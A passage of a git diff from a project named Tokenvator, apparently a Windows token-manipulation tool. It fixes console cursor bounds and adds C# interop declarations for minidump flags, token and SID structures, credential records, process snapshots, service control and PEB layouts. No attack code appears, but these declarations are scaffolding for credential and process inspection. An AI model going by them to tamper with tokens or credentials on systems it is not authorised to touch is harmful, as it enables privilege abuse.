Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop); + if (Console.CursorLeft - context.Length - 1 >= 0) + Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop); continue; case ConsoleKey.RightArrow: - Console.SetCursorPosition(Console.CursorLeft + 1, Console.CursorTop); + if (Console.CursorLeft < context.Length + stringBuilder.Length) + Console.SetCursorPosition(Console.CursorLeft + 1, Console.CursorTop); continue; case ConsoleKey.Escape: stringBuilder.Remove(0, stringBuilder.Length); @@ -165,12 +167,21 @@ private Boolean KeyInput(StringBuilder stringBuilder, ConsoleKeyInfo keyDown) { try { - stringBuilder.Remove(Console.CursorLeft - context.Length - 1, 1); + if (Console.CursorLeft - context.Length - 1 >= 0) + { + stringBuilder.Remove(Console.CursorLeft - context.Length - 1, 1); + } + } + catch (Exception ex) + { + Console.WriteLine(ex.Message); } - catch { } ResetLine(); Console.Write(stringBuilder.ToString()); - Console.SetCursorPosition(position -1, Console.CursorTop); + if (Console.CursorLeft - context.Length - 1 >= 0) + { + Console.SetCursorPosition(position - 1, Console.CursorTop); + } return false; } @@ -178,9 +189,13 @@ private Boolean KeyInput(StringBuilder stringBuilder, ConsoleKeyInfo keyDown) { try { - stringBuilder.Remove(position - context.Length + 1, 1); + if (position - context.Length + 1 < stringBuilder.Length) + stringBuilder.Remove(position - context.Length + 1, 1); + } + catch (Exception ex) + { + Console.WriteLine(ex.Message); } - catch { } ResetLine(); Console.Write(stringBuilder.ToString()); Console.SetCursorPosition(position, Console.CursorTop); diff --git a/Tokenvator/Resources/Unmanaged/Headers/FltUserStructures.cs b/Tokenvator/Resources/Unmanaged/Headers/FltUserStructures.cs new file mode 100644 index 0000000..58686a4 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/FltUserStructures.cs @@ -0,0 +1,173 @@ +using System; +using System.Runtime.InteropServices; + +using WORD = System.UInt16; +using DWORD = System.UInt32; +using QWORD = System.UInt64; + +using USHORT = System.UInt16; +using ULONG = System.UInt32; + +using LPCTSTR = System.String; +using LPWSTR = System.Text.StringBuilder; + +using PVOID = System.IntPtr; +using LPVOID = System.IntPtr; +using DWORD_PTR = System.IntPtr; + +using WCHAR = System.Char; + +namespace Unmanaged.Headers +{ + public class FltUserStructures + { + public enum _FILTER_INFORMATION_CLASS + { + FilterFullInformation, + FilterAggregateBasicInformation, + FilterAggregateStandardInformation + } + //FILTER_INFORMATION_CLASS, *PFILTER_INFORMATION_CLASS; + + [StructLayout(LayoutKind.Sequential)] + public struct _FILTER_AGGREGATE_BASIC_INFORMATION + { + public ULONG NextEntryOffset; + public ULONG Flags; + public ULONG FrameID; + public ULONG NumberOfInstances; + public USHORT FilterNameLength; + public USHORT FilterNameBufferOffset; + public USHORT FilterAltitudeLength; + public USHORT FilterAltitudeBufferOffset; + } + //FILTER_AGGREGATE_BASIC_INFORMATION, *PFILTER_AGGREGATE_BASIC_INFORMATION; + + [StructLayout(LayoutKind.Sequential)] + public struct _FILTER_AGGREGATE_STANDARD_INFORMATION + { + public ULONG NextEntryOffset; + public ULONG Flags; + public ULONG FrameID; + public ULONG NumberOfInstances; + public USHORT FilterNameLength; + public USHORT FilterNameBufferOffset; + public USHORT FilterAltitudeLength; + public USHORT FilterAltitudeBufferOffset; + } + // FILTER_AGGREGATE_STANDARD_INFORMATION, * PFILTER_AGGREGATE_STANDARD_INFORMATION; + + [StructLayout(LayoutKind.Sequential)] + public struct _FILTER_FULL_INFORMATION + { + public ULONG NextEntryOffset; + public ULONG FrameID; + public ULONG NumberOfInstances; + public USHORT FilterNameLength; + public WCHAR[] FilterNameBuffer; + } + //FILTER_FULL_INFORMATION, *PFILTER_FULL_INFORMATION; + + [Flags] + public enum _FLT_FILESYSTEM_TYPE + { + FLT_FSTYPE_UNKNOWN, + FLT_FSTYPE_RAW, + FLT_FSTYPE_NTFS, + FLT_FSTYPE_FAT, + FLT_FSTYPE_CDFS, + FLT_FSTYPE_UDFS, + FLT_FSTYPE_LANMAN, + FLT_FSTYPE_WEBDAV, + FLT_FSTYPE_RDPDR, + FLT_FSTYPE_NFS, + FLT_FSTYPE_MS_NETWARE, + FLT_FSTYPE_NETWARE, + FLT_FSTYPE_BSUDF, + FLT_FSTYPE_MUP, + FLT_FSTYPE_RSFX, + FLT_FSTYPE_ROXIO_UDF1, + FLT_FSTYPE_ROXIO_UDF2, + FLT_FSTYPE_ROXIO_UDF3, + FLT_FSTYPE_TACIT, + FLT_FSTYPE_FS_REC, + FLT_FSTYPE_INCD, + FLT_FSTYPE_INCD_FAT, + FLT_FSTYPE_EXFAT, + FLT_FSTYPE_PSFS, + FLT_FSTYPE_GPFS, + FLT_FSTYPE_NPFS, + FLT_FSTYPE_MSFS, + FLT_FSTYPE_CSVFS, + FLT_FSTYPE_REFS, + FLT_FSTYPE_OPENAFS + } + //FLT_FILESYSTEM_TYPE, *PFLT_FILESYSTEM_TYPE; + + [StructLayout(LayoutKind.Sequential)] + public struct _INSTANCE_AGGREGATE_STANDARD_INFORMATION + { + public ULONG NextEntryOffset; + public ULONG Flags; + public ULONG FrameID; + public _FLT_FILESYSTEM_TYPE VolumeFileSystemType; + public USHORT InstanceNameLength; + public USHORT InstanceNameBufferOffset; + public USHORT AltitudeLength; + public USHORT AltitudeBufferOffset; + public USHORT VolumeNameLength; + public USHORT VolumeNameBufferOffset; + public USHORT FilterNameLength; + public USHORT FilterNameBufferOffset; + public ULONG SupportedFeatures; + } + //INSTANCE_AGGREGATE_STANDARD_INFORMATION, * PINSTANCE_AGGREGATE_STANDARD_INFORMATION; + + [StructLayout(LayoutKind.Sequential)] + public struct _INSTANCE_BASIC_INFORMATION + { + public ULONG NextEntryOffset; + public USHORT InstanceNameLength; + public USHORT InstanceNameBufferOffset; + } + //INSTANCE_BASIC_INFORMATION, PINSTANCE_BASIC_INFORMATION; + + [Flags] + public enum _INSTANCE_INFORMATION_CLASS + { + + InstanceBasicInformation, + InstancePartialInformation, + InstanceFullInformation, + InstanceAggregateStandardInformation + + } + //INSTANCE_INFORMATION_CLASS, *PINSTANCE_INFORMATION_CLASS; + + [StructLayout(LayoutKind.Sequential)] + public struct _INSTANCE_FULL_INFORMATION + { + public ULONG NextEntryOffset; + public USHORT InstanceNameLength; + public USHORT InstanceNameBufferOffset; + public USHORT AltitudeLength; + public USHORT AltitudeBufferOffset; + public USHORT VolumeNameLength; + public USHORT VolumeNameBufferOffset; + public USHORT FilterNameLength; + public USHORT FilterNameBufferOffset; + } + //INSTANCE_FULL_INFORMATION, PINSTANCE_FULL_INFORMATION; + + [StructLayout(LayoutKind.Sequential)] + public struct _INSTANCE_PARTIAL_INFORMATION + { + public ULONG NextEntryOffset; + public USHORT InstanceNameLength; + public USHORT InstanceNameBufferOffset; + public USHORT AltitudeLength; + public USHORT AltitudeBufferOffset; + } + //INSTANCE_PARTIAL_INFORMATION, PINSTANCE_PARTIAL_INFORMATION; + } +} diff --git a/Tokenvator/Resources/Unmanaged/Headers/MinWinBase.cs b/Tokenvator/Resources/Unmanaged/Headers/MinWinBase.cs new file mode 100644 index 0000000..9e56284 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/MinWinBase.cs @@ -0,0 +1,24 @@ +using System.Runtime.InteropServices; + +using DWORD = System.UInt32; + +using PVOID = System.IntPtr; +using HANDLE = System.IntPtr; +using ULONG_PTR = System.UIntPtr; + +namespace Unmanaged.Headers +{ + class MinWinBase + { + [StructLayout(LayoutKind.Sequential)] + public struct _OVERLAPPED + { + public ULONG_PTR Internal; + public ULONG_PTR InternalHigh; + public DWORD Offset; + public DWORD OffsetHigh; + public PVOID Pointer; + public HANDLE hEvent; + } + } +} diff --git a/Tokenvator/Resources/Unmanaged/Headers/Minidumpapiset.cs b/Tokenvator/Resources/Unmanaged/Headers/Minidumpapiset.cs new file mode 100644 index 0000000..6faba20 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Minidumpapiset.cs @@ -0,0 +1,80 @@ +using System; +using System.Runtime.InteropServices; + +using WORD = System.UInt16; +using DWORD = System.UInt32; +using QWORD = System.UInt64; + +using PVOID = System.IntPtr; +using LPVOID = System.IntPtr; +using DWORD_PTR = System.IntPtr; + +using ULONG = System.UInt32; +using ULONG32 = System.UInt32; +using ULONG64 = System.UInt64; + +using BOOL = System.Boolean; + +namespace Unmanaged.Headers +{ + sealed class Minidumpapiset + { + [Flags] + public enum _MINIDUMP_TYPE + { + MiniDumpNormal = 0x00000000, + MiniDumpWithDataSegs = 0x00000001, + MiniDumpWithFullMemory = 0x00000002, + MiniDumpWithHandleData = 0x00000004, + MiniDumpFilterMemory = 0x00000008, + MiniDumpScanMemory = 0x00000010, + MiniDumpWithUnloadedModules = 0x00000020, + MiniDumpWithIndirectlyReferencedMemory = 0x00000040, + MiniDumpFilterModulePaths = 0x00000080, + MiniDumpWithProcessThreadData = 0x00000100, + MiniDumpWithPrivateReadWriteMemory = 0x00000200, + MiniDumpWithoutOptionalData = 0x00000400, + MiniDumpWithFullMemoryInfo = 0x00000800, + MiniDumpWithThreadInfo = 0x00001000, + MiniDumpWithCodeSegs = 0x00002000, + MiniDumpWithoutAuxiliaryState = 0x00004000, + MiniDumpWithFullAuxiliaryState = 0x00008000, + MiniDumpWithPrivateWriteCopyMemory = 0x00010000, + MiniDumpIgnoreInaccessibleMemory = 0x00020000, + MiniDumpWithTokenInformation = 0x00040000, + MiniDumpWithModuleHeaders = 0x00080000, + MiniDumpFilterTriage = 0x00100000, + MiniDumpValidTypeFlags = 0x001fffff + } + + [StructLayout(LayoutKind.Sequential)] + public struct _MINIDUMP_CALLBACK_INFORMATION + { + public bool CallbackRoutine; + public PVOID CallbackParam; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _MINIDUMP_EXCEPTION_INFORMATION + { + public DWORD ThreadId; + public System.IntPtr ExceptionPointers; + public BOOL ClientPointers; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _MINIDUMP_USER_STREAM + { + public ULONG32 Type; + public ULONG BufferSize; + public PVOID Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _MINIDUMP_USER_STREAM_INFORMATION + { + public ULONG UserStreamCount; + public _MINIDUMP_USER_STREAM UserStreamArray; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Ntifs.cs b/Tokenvator/Resources/Unmanaged/Headers/Ntifs.cs new file mode 100644 index 0000000..edb7b25 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Ntifs.cs @@ -0,0 +1,52 @@ +using System.Runtime.InteropServices; + +using PSID = System.IntPtr; + +using UCHAR = System.Byte; +using ULONG = System.Int32; + +//https://blogs.technet.microsoft.com/fabricem_blogs/2009/07/21/active-directory-maximum-limits-scalability/ + +namespace Unmanaged.Headers +{ + class Ntifs + { + [StructLayout(LayoutKind.Sequential)] + public struct _SID + { + public UCHAR Revision; + public UCHAR SubAuthorityCount; + public Winnt._SID_IDENTIFIER_AUTHORITY IdentifierAuthority; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public ULONG[] SubAuthority; + } + //SID, *PISID + + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_GROUPS + { + public ULONG GroupCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 230)] + public Winnt._SID_AND_ATTRIBUTES[] Groups; + } + //TOKEN_GROUPS, *PTOKEN_GROUPS + + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_OWNER + { + public PSID Owner; + } + //TOKEN_OWNER, *PTOKEN_OWNER + + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_USER + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] + public Winnt._SID_AND_ATTRIBUTES[] User; + } + //TOKEN_USER, *PTOKEN_USER + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Rpcdce.cs b/Tokenvator/Resources/Unmanaged/Headers/Rpcdce.cs new file mode 100644 index 0000000..7b80725 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Rpcdce.cs @@ -0,0 +1,18 @@ +using System; +using System.Runtime.InteropServices; + +namespace Unmanaged.Headers +{ + class Rpcdce + { + [StructLayout(LayoutKind.Sequential, Pack = 1)] + internal struct _GUID + { + internal Int32 Data1; + internal Int16 Data2; + internal Int16 Data3; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + internal Byte[] Data4; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Subauth.cs b/Tokenvator/Resources/Unmanaged/Headers/Subauth.cs new file mode 100644 index 0000000..c550737 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Subauth.cs @@ -0,0 +1,19 @@ +using System.Runtime.InteropServices; + +using USHORT = System.UInt16; + +using PWSTR = System.IntPtr; + +namespace Unmanaged.Headers +{ + sealed class Subauth + { + [StructLayout(LayoutKind.Sequential)] + public struct _LSA_UNICODE_STRING + { + public USHORT Length; + public USHORT MaximumLength; + public PWSTR Buffer; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/TlHelp32.cs b/Tokenvator/Resources/Unmanaged/Headers/TlHelp32.cs new file mode 100644 index 0000000..8c09c11 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/TlHelp32.cs @@ -0,0 +1,54 @@ +using System.Runtime.InteropServices; + +using HMODULE = System.IntPtr; +using ULONG_PTR = System.IntPtr; +using LONG = System.Int32; +using DWORD = System.UInt32; +using TCHAR = System.Text.StringBuilder; + +namespace Unmanaged.Headers +{ + sealed class TiHelp32 + { + public const DWORD TH32CS_INHERIT = 0x80000000; + public const DWORD TH32CS_SNAPHEAPLIST = 0x00000001; + public const DWORD TH32CS_SNAPMODULE = 0x00000008; + public const DWORD TH32CS_SNAPMODULE32 = 0x00000010; + public const DWORD TH32CS_SNAPPROCESS = 0x00000002; + public const DWORD TH32CS_SNAPTHREAD = 0x00000004; + public const DWORD TH32CS_SNAPALL = TH32CS_SNAPHEAPLIST | TH32CS_SNAPMODULE | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD; + + [StructLayout(LayoutKind.Sequential)] + public struct tagMODULEENTRY32 + { + public DWORD dwSize; + public DWORD th32ModuleID; + public DWORD th32ProcessID; + public DWORD GlblcntUsage; + public DWORD ProccntUsage; + public System.IntPtr modBaseAddr; + public DWORD modBaseSize; + public HMODULE hModule; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)] + public string szModule; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)] + public string szExePath; + } + + [StructLayout(LayoutKind.Sequential)] + public struct tagPROCESSENTRY32 + { + public DWORD dwSize; + public DWORD cntUsage; + public DWORD th32ProcessID; + public ULONG_PTR th32DefaultHeapID; + public DWORD th32ModuleID; + public DWORD cntThreads; + public DWORD th32ParentProcessID; + public LONG pcPriClassBase; + public DWORD dwFlags; + //[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)] + public TCHAR szExeFile; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/WinCred.cs b/Tokenvator/Resources/Unmanaged/Headers/WinCred.cs new file mode 100644 index 0000000..4e602fa --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/WinCred.cs @@ -0,0 +1,63 @@ +using System; +using System.Runtime.InteropServices; + +namespace Unmanaged.Headers +{ + sealed class WinCred + { + [StructLayout(LayoutKind.Sequential)] + public struct _CREDENTIAL_ATTRIBUTE + { + String Keyword; + Int32 Flags; + Int32 ValueSize; + IntPtr Value; + } + + [Flags] + public enum CRED_FLAGS : uint + { + NONE = 0x0, + PROMPT_NOW = 0x2, + USERNAME_TARGET = 0x4 + } + + [Flags] + public enum CRED_TYPE : uint + { + Generic = 1, + DomainPassword, + DomainCertificate, + DomainVisiblePassword, + GenericCertificate, + DomainExtended, + Maximum, + MaximumEx = Maximum + 1000, + } + + [Flags] + public enum CRED_PERSIST : uint + { + Session = 1, + LocalMachine, + Enterprise + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct _CREDENTIAL + { + public CRED_FLAGS Flags; + public CRED_TYPE Type; + public IntPtr TargetName; + public IntPtr Comment; + public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten; + public UInt32 CredentialBlobSize; + public IntPtr CredentialBlob; + public CRED_PERSIST Persist; + public UInt32 AttributeCount; + public IntPtr Attributes; + public IntPtr TargetAlias; + public IntPtr UserName; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Wincon.cs b/Tokenvator/Resources/Unmanaged/Headers/Wincon.cs new file mode 100644 index 0000000..759852e --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Wincon.cs @@ -0,0 +1,18 @@ +using System; +using System.Runtime.InteropServices; + +namespace Unmanaged.Headers +{ + class Wincon + { + [Flags] + public enum CtrlType : uint + { + CTRL_C_EVENT = 0, + CTRL_BREAK_EVENT = 1, + CTRL_CLOSE_EVENT = 2, + CTRL_LOGOFF_EVENT = 5, + CTRL_SHUTDOWN_EVENT = 6 + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Windef.cs b/Tokenvator/Resources/Unmanaged/Headers/Windef.cs new file mode 100644 index 0000000..6de6bfa --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Windef.cs @@ -0,0 +1,17 @@ +using System; +using System.Runtime.InteropServices; + +using LONG = System.Int32; + +namespace Unmanaged.Headers +{ + sealed class Windef + { + [StructLayout(LayoutKind.Sequential)] + public struct tagPOINT + { + public LONG x; + public LONG y; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Winsvc.cs b/Tokenvator/Resources/Unmanaged/Headers/Winsvc.cs new file mode 100644 index 0000000..483e734 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Winsvc.cs @@ -0,0 +1,131 @@ +using System; +using System.Runtime.InteropServices; + +using WORD = System.UInt16; +using DWORD = System.UInt32; +using QWORD = System.UInt64; + +using LPVOID = System.IntPtr; +using DWORD_PTR = System.IntPtr; + +namespace Unmanaged.Headers +{ + sealed class Winsvc + { + [Flags] + public enum dwControl : uint + { + SERVICE_CONTROL_STOP = 0x00000001, + SERVICE_CONTROL_PAUSE = 0x00000002, + SERVICE_CONTROL_CONTINUE = 0x00000003, + SERVICE_CONTROL_INTERROGATE = 0x00000004, + SERVICE_CONTROL_PARAMCHANGE = 0x00000006, + SERVICE_CONTROL_NETBINDADD = 0x00000007, + SERVICE_CONTROL_NETBINDREMOVE = 0x00000008, + SERVICE_CONTROL_NETBINDENABLE = 0x00000009, + SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A + } + + [Flags] + public enum dwControlsAccepted : uint + { + SERVICE_ACCEPT_STOP = 0x00000001, + SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002, + SERVICE_ACCEPT_SHUTDOWN = 0x00000004, + SERVICE_ACCEPT_PARAMCHANGE = 0x00000008, + SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010, + SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100, + + SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020, + SERVICE_ACCEPT_POWEREVENT = 0x00000040, + SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080, + SERVICE_ACCEPT_TIMECHANGE = 0x00000200, + SERVICE_ACCEPT_TRIGGEREVENT = 0x00000400, + SERVICE_ACCEPT_USERMODEREBOOT = 0x00000800 + } + + [Flags] + public enum dwCurrentState : uint + { + SERVICE_STOPPED = 0x00000001, + SERVICE_START_PENDING = 0x00000002, + SERVICE_STOP_PENDING = 0x00000003, + SERVICE_RUNNING = 0x00000004, + SERVICE_CONTINUE_PENDING = 0x00000005, + SERVICE_PAUSE_PENDING = 0x00000006, + SERVICE_PAUSED = 0x00000007 + } + + [Flags] + public enum dwDesiredAccess : uint + { + SERVICE_QUERY_CONFIG = 0x0001, + SERVICE_CHANGE_CONFIG = 0x0002, + SERVICE_QUERY_STATUS = 0x0004, + SERVICE_ENUMERATE_DEPENDENTS = 0x0008, + SERVICE_START = 0x0010, + SERVICE_STOP = 0x0020, + SERVICE_PAUSE_CONTINUE = 0x0040, + SERVICE_INTERROGATE = 0x0080, + SERVICE_USER_DEFINED_CONTROL = 0x0100, + SERVICE_ALL_ACCESS = 0xF01FF + } + + [Flags] + public enum dwErrorControl : uint + { + SERVICE_ERROR_IGNORE = 0x00000000, + SERVICE_ERROR_NORMAL = 0x00000001, + SERVICE_ERROR_SEVERE = 0x00000002, + SERVICE_ERROR_CRITICAL = 0x00000003 + } + + [Flags] + public enum dwSCManagerDesiredAccess : uint + { + SC_MANAGER_ALL_ACCESS = 0xF003F, + SC_MANAGER_CREATE_SERVICE = 0x0002, + SC_MANAGER_CONNECT = 0x0001, + SC_MANAGER_ENUMERATE_SERVICE = 0x0004, + SC_MANAGER_LOCK = 0x0008, + SC_MANAGER_MODIFY_BOOT_CONFIG = 0x0020, + SC_MANAGER_QUERY_LOCK_STATUS = 0x0010 + } + + [Flags] + public enum dwServiceType : uint + { + SERVICE_KERNEL_DRIVER = 0x00000001, + SERVICE_FILE_SYSTEM_DRIVER = 0x00000002, + SERVICE_ADAPTER = 0x00000004, + SERVICE_RECOGNIZER_DRIVER = 0x00000008, + SERVICE_WIN32_OWN_PROCESS = 0x00000010, + SERVICE_WIN32_SHARE_PROCESS = 0x00000020, + SERVICE_USER_OWN_PROCESS = 0x00000050, + SERVICE_USER_SHARE_PROCESS = 0x00000060, + SERVICE_INTERACTIVE_PROCESS = 0x00000100 + } + + [Flags] + public enum dwStartType : uint + { + SERVICE_BOOT_START = 0x00000000, + SERVICE_SYSTEM_START = 0x00000001, + SERVICE_AUTO_START = 0x00000002, + SERVICE_DEMAND_START = 0x00000003, + SERVICE_DISABLED = 0x00000004 + } + + [StructLayout(LayoutKind.Sequential)] + public struct _SERVICE_STATUS + { + public dwServiceType dwServiceType; + public dwCurrentState dwCurrentState; + public dwControlsAccepted dwControlsAccepted; + public DWORD dwWin32ExitCode; + public DWORD dwServiceSpecificExitCode; + public DWORD dwCheckPoint; + public DWORD dwWaitHint; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Winternl.cs b/Tokenvator/Resources/Unmanaged/Headers/Winternl.cs new file mode 100644 index 0000000..4a36753 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Winternl.cs @@ -0,0 +1,186 @@ +using System; +using System.Runtime.InteropServices; + +using BYTE = System.Byte; +using BOOL = System.Boolean; + +using WORD = System.UInt16; +using DWORD = System.UInt32; +using QWORD = System.UInt64; + +using ULONG = System.UInt32; + +using PVOID = System.IntPtr; +using LPVOID = System.IntPtr; +using DWORD_PTR = System.IntPtr; + +namespace Unmanaged.Headers +{ + sealed class Winternl + { + [StructLayout(LayoutKind.Explicit, Size = 8)] + public struct LARGE_INTEGER + { + [FieldOffset(0)] + public Int64 QuadPart; + [FieldOffset(0)] + public UInt32 LowPart; + [FieldOffset(4)] + public Int32 HighPart; + } + + [StructLayout(LayoutKind.Sequential, Pack=1)] + public struct _LDR_DATA_TABLE_ENTRY + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] + PVOID Reserved1; + _LIST_ENTRY InMemoryOrderLinks; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] + PVOID Reserved2; + PVOID DllBase; + PVOID EntryPoint; + PVOID Reserved3; + Subauth._LSA_UNICODE_STRING FullDllName; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + BYTE Reserved4; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)] + PVOID Reserved5; + ULONG CheckSum; + PVOID Reserved6; + ULONG TimeDateStamp; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _LIST_ENTRY + { + IntPtr Flink; + IntPtr Blink; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _PEB32 + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] + public Byte Reserved1; + public Byte BeingDebugged; + [MarshalAs(UnmanagedType.LPArray, SizeConst = 1)] + public Byte Reserved2; + [MarshalAs(UnmanagedType.LPArray, SizeConst = 2)] + public IntPtr Reserved3; + public IntPtr Ldr; /*_PEB_LDR_DATA*/ + public IntPtr ProcessParameters; /*_RTL_USER_PROCESS_PARAMETERS*/ + [MarshalAs(UnmanagedType.LPArray, SizeConst = 104)] + public Byte Reserved4; + [MarshalAs(UnmanagedType.LPArray, SizeConst = 52)] + public IntPtr Reserved5; + public IntPtr PostProcessInitRoutine; /*_PS_POST_PROCESS_INIT_ROUTINE*/ + [MarshalAs(UnmanagedType.LPArray, SizeConst = 128)] + public Byte Reserved6; + [MarshalAs(UnmanagedType.LPArray, SizeConst = 1)] + public IntPtr Reserved7; + public UInt32 SessionId; + } + + //http://bytepointer.com/resources/peb64.htm + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _PEB64 + { + public BYTE InheritedAddressSpace; + public BYTE ReadImageFileExecOptions; + public BYTE BeingDebugged; + public BYTE BitField; + + public UInt32 Reserved3; + public IntPtr Mutant; + public IntPtr ImageBaseAddress; + public IntPtr Ldr; + public IntPtr ProcessParameters; + public IntPtr SubSystemData; + public IntPtr ProcessHeap; + public IntPtr FastPebLock; + + public IntPtr AtlThunkSListPtr; + public IntPtr IFEOKey; + public UInt64 CrossProcessFlags; + public IntPtr KernelCallbackTable; + + //public QWORD UserSharedInfoPtr; + public UInt32 SystemReserved; + public UInt32 AtlThunkSListPtr32; + public IntPtr ApiSetMap; + public UInt32 TlsExpansionCounter; + public IntPtr TlsBitmap; + [MarshalAs(UnmanagedType.U4, SizeConst = 2)] + public UInt32 TlsBitmapBits; + public IntPtr ReadOnlySharedMemoryBase; + public IntPtr HotpatchInformation; + public IntPtr ReadOnlyStaticServerData; + public IntPtr AnsiCodePageData; + public IntPtr OemCodePageData; + public IntPtr UnicodeCaseTableData; + public UInt32 NumberOfProcessors; + public UInt32 NtGlobalFlag; + //public DWORD dummy02; + public Int64 /*LARGE_INTEGER*/ CriticalSectionTimeout; + public QWORD HeapSegmentReserve; + public QWORD HeapSegmentCommit; + public QWORD HeapDeCommitTotalFreeThreshold; + public QWORD HeapDeCommitFreeBlockThreshold; + public DWORD NumberOfHeaps; + public DWORD MaximumNumberOfHeaps; + public QWORD ProcessHeaps; + public QWORD GdiSharedHandleTable; + public QWORD ProcessStarterHelper; + public QWORD GdiDCAttributeList; + public QWORD LoaderLock; + public DWORD OSMajorVersion; + public DWORD OSMinorVersion; + public WORD OSBuildNumber; + public WORD OSCSDVersion; + public DWORD OSPlatformId; + public DWORD ImageSubsystem; + public DWORD ImageSubsystemMajorVersion; + public QWORD ImageSubsystemMinorVersion; + public QWORD ImageProcessAffinityMask; + public QWORD ActiveProcessAffinityMask; + [MarshalAs(UnmanagedType.U8, SizeConst = 30)] + public QWORD GdiHandleBuffer; + public QWORD PostProcessInitRoutine; + public QWORD TlsExpansionBitmap; + [MarshalAs(UnmanagedType.U4, SizeConst = 32)] + public DWORD TlsExpansionBitmapBits; + public QWORD SessionId; + public UInt64 /*ULARGE_INTEGER*/ AppCompatFlags; + public UInt64 /*ULARGE_INTEGER*/ AppCompatFlagsUser; + public QWORD pShimData; + public QWORD AppCompatInfo; + public Subauth._LSA_UNICODE_STRING CSDVersion; + public QWORD ActivationContextData; + public QWORD ProcessAssemblyStorageMap; + public QWORD SystemDefaultActivationContextData; + public QWORD SystemAssemblyStorageMap; + public QWORD MinimumStackCommit; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _PEB_LDR_DATA + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + Byte Reserved1; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)] + IntPtr Reserved2; + _LIST_ENTRY InMemoryOrderModuleList; + } + + [StructLayout(LayoutKind.Sequential, Pack=1)] + public struct _RTL_USER_PROCESS_PARAMETERS + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + BYTE Reserved1; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] + PVOID Reserved2; + Subauth._LSA_UNICODE_STRING ImagePathName; + Subauth._LSA_UNICODE_STRING CommandLine; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Winuser.cs b/Tokenvator/Resources/Unmanaged/Headers/Winuser.cs new file mode 100644 index 0000000..cebcf72 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Winuser.cs @@ -0,0 +1,119 @@ +using System; +using System.Runtime.InteropServices; + +using UINT = System.UInt32; +using DWORD = System.UInt32; + +using HWND = System.IntPtr; +using WPARAM = System.IntPtr; +using LPARAM = System.IntPtr; + +namespace Unmanaged.Headers +{ + sealed class Winuser + { + public static IntPtr HWND_MESSAGE = new IntPtr(-3); + public static UInt32 WM_QUIT = 0x0012; + public static UInt32 WM_CHANGECBCHAIN = 0x030D; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct tagMSG + { + public HWND hwnd; + public UINT message; + public WPARAM wParam; + public LPARAM lParam; + public DWORD time; + public Windef.tagPOINT pt; + } + + [Flags] + public enum WindowStyles : long + { + WS_BORDER = 0x00800000L, + WS_CAPTION = 0x00C00000L, + WS_CHILDWINDOW = 0x40000000L, + WS_CLIPCHILDREN = 0x02000000L, + WS_CLIPSIBLINGS = 0x04000000L, + WS_DISABLED = 0x08000000L, + WS_DLGFRAME = 0x00400000L, + WS_GROUP = 0x00020000L, + WS_HSCROLL = 0x00100000L, + WS_ICONIC = 